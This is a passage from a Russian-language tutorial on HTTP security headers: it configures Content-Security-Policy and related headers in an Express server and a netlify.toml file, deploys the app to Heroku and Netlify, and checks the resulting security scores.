 // разрешаем открытие приложения только в собственных фреймах
 frame-ancestors 'self';
 // включаем политику доверенных типов для скриптов
 require-trusted-types-for 'script';
 // блокируем смешанный контент
 block-all-mixed-content;
 // инструктируем браузер использовать `HTTPS` для ресурсов, загружаемых по `HTTP`
 upgrade-insecure-requests
`

Обратите внимание: все директивы должны быть указаны в одну строку без переносов. Мы не определяем директивы для стилей и шрифтов, поскольку они загружаются из других источников.

Также обратите внимание, что мы не используем nonce для скриптов, поскольку мы не рендерим разметку на стороне сервера, но я приведу соответствующий код.

index.js:

const express = require('express')
// утилита для генерации уникальных значений
// const crypto = require('crypto')

// создаем экземпляр Express-приложения
const app = express()

// посредник для генерации `nonce`
/*
const getNonce = (_, res, next) => {
 res.locals.cspNonce = crypto.randomBytes(16).toString('hex')
 next()
}
*/

// посредник для установки заголовков
// 31536000 — 365 дней
// 86400 — 1 сутки
const setSecurityHeaders = (_, res, next) => {
 res.set({
   'X-Content-Type-Options': 'nosniff',
   'X-Frame-Options': 'DENY',
   'X-XSS-Protection': '1; mode=block',
   'Cross-Origin-Resource-Policy': 'same-site',
   'Cross-Origin-Opener-Policy': 'same-origin-allow-popups',
   'Cross-Origin-Embedder-Policy': 'require-corp',
   'Referrer-Policy': 'no-referrer',
   'Strict-Transport-Security': 'max-age=31536000; includeSubDomains',
   'Expect-CT': 'enforce, max-age=86400',
   'Content-Security-Policy': `object-src 'none'; script-src 'self'; img-src 'self'; frame-ancestors 'self'; require-trusted-types-for 'script'; block-all-mixed-content; upgrade-insecure-requests`,
   'Permissions-Policy': 'camera=(), microphone=(), geolocation=(), payment=()'
 })
 next()
}

// удаляем заголовок `X-Powered-By`
app.disable('x-powered-by')
// подключаем посредник для генерации `nonce`
// app.use(getNonce)
// подключаем посредник для установки заголовков
app.use(setSecurityHeaders)
// определяем директорию со статическими файлами
app.use(express.static('public'))

// определяем порт
const PORT = process.env.PORT || 3000
// запускам сервер
app.listen(PORT, () => {
 console.log('Сервер готов')
})

Выполняем команду yarn dev или npm run dev (разумеется, на вашей машине должен быть установлен Node.js). Данная команда запускает сервер для разработки и открывает вкладку браузера по адресу http://localhost:3000.

Отлично! Теперь развернем приложение на Heroku и проверим его безопасность с помощью Security Headers и WebPageTest.

Деплой Express-приложения на `Heroku`

Создаем аккаунт на Heroku.

Глобально устанавливаем Heroku CLI:

yarn global add heroku
# или
npm i -g heroku

Проверяем установку:

heroku -v

Находясь в корневой директории проекта, инициализируем Git-репозиторий (разумеется, на вашей машине должен быть установлен git), добавляем и фиксируем изменения (не забудьте добавить node_modules в .gitignore):

git init
git add .
git commit -m "Create secure app"

Создаем удаленный репозиторий на Heroku:

# авторизация
heroku login
# создание репо
heroku create
# подключение к репо
git remote -v

Разворачиваем приложение:

git push heroku master

Инструкцию по развертыванию приложения на Heroku можно найти здесь.

После выполнения этой команды, в терминале появится URL вашего приложения, развернутого на Heroku, например, https://tranquil-meadow-01695.herokuapp.com/.

Перейдите по указанному адресу и проверьте работоспособность приложения.

Заходим на Security Headers, вставляем URL приложения в поле enter address here и нажимаем на кнопку Scan:

Получаем рейтинг приложения:

В Supported By читаем Вау, отличная оценка....

Заходим на WebPageTest, вставляем URL приложения в поле Enter a website URL... и нажимаем на кнопку Start Test ->:

Получаем результаты оценки приложения (нас интересует первая оценка — Security score):

Похоже, мы все сделали правильно. Круто!

Деплой приложения на `Netlify`

Переносим файлы favicon.png, index.html, script.js и style.css из папки public в отдельную директорию, например, netlify.

Для настройки сервера Netlify используется файл netlify.toml. Создаем данный файл в директории проекта. Нас интересует только раздел [[headers]]:

[[headers]]
 for = "/*"
 [headers.values]
   X-Content-Type-Options = "nosniff"
   X-Frame-Options = "DENY"
   X-XSS-Protection = "1; mode=block"
   Cross-Origin-Resource-Policy = "same-site"
   Cross-Origin-Opener-Policy = "same-origin-allow-popups"
   Cross-Origin-Embedder-Policy = "require-corp"
   Referrer-Policy = "no-referrer"
   Strict-Transport-Security = "max-age=31536000; includeSubDomains"
   Expect-CT = "enforce, max-age=86400"
   Content-Security-Policy = "object-src 'none'; script-src 'self'; img-src 'self'; frame-ancestors 'self'; require-trusted-types-for 'script'; block-all-mixed-content; upgrade-insecure-requests"
   Permissions-Policy = "camera=(), microphone=(), geolocation=(), payment=()"

for = "/*" означает для всех запросов;
[header.values] — заголовки и их значения (просто переносим их из Express-сервера с учетом особенностей синтаксиса).

Глобально устанавливаем Netlify CLI:

yarn global add netlify-cli
# или
npm i -g netlify-cli

Проверяем установку:

netlify -v

Авторизуемся:

netlify login

Можно запустить сервер для разработки (это необязательно):

netlify dev

Данная команда запускает приложение и открывает вкладку браузера по адресу http://localhost:8888.

Разворачиваем приложение в тестовом режиме:

netlify deploy

Выбираем Create & configure a new site, свою команду (например, Igor Agapov's team), оставляем Site name пустым и выбираем директорию со сборкой приложения (у нас такой директории нет, поэтому оставляем значение по умолчанию — .):

Получаем URL черновика веб-сайта (Website Draft URL), например, https://60f3e6013d0afb2ce71a5623--infallible-pasteur-d015e7.netlify.app. Можно перейти по указанному адресу и проверить работоспособность приложения.

Разворачиваем приложение в продакшен-режиме:

netlify deploy -p

-p или --prod означает производственный режим.

Получаем URL приложения (Website URL), например, https://infallible-pasteur-d015e7.netlify.app/. Опять же, можно перейти по указанному адресу и проверить работоспособность приложения.

Инструкцию по развертыванию приложения на Netlify можно найти здесь.

Возвращаемся на Security Headers и WebPageTest и проверяем, насколько безопасным является наше Netlify-приложение:

Кажется, у нас все получилось!

Заключение

Подведем итоги. Мы с вами вкратце изучили все HTTP-заголовки, связанные с безопасностью веб-приложений, разработали серверное и бессерверное приложения с аналогичным функционалом и получили лучшие оценки безопасности для данных приложений на Security Headers и WebPageTest. По-моему, очень неплохо для одной статьи.

Надеюсь, что вы не зря потратили время. Благодарю за внимание и хорошего дня!

Tags:

Hubs:

Памятка и туториал по HTTP-заголовкам, связанным с безопасностью веб-приложений

Заголовки безопасности

Угрозы безопасности, существующие в вебе

Другие заголовки

Разработка Express-приложения

Деплой Express-приложения на Heroku

Деплой приложения на Netlify

Заключение

Деплой Express-приложения на `Heroku`

Деплой приложения на `Netlify`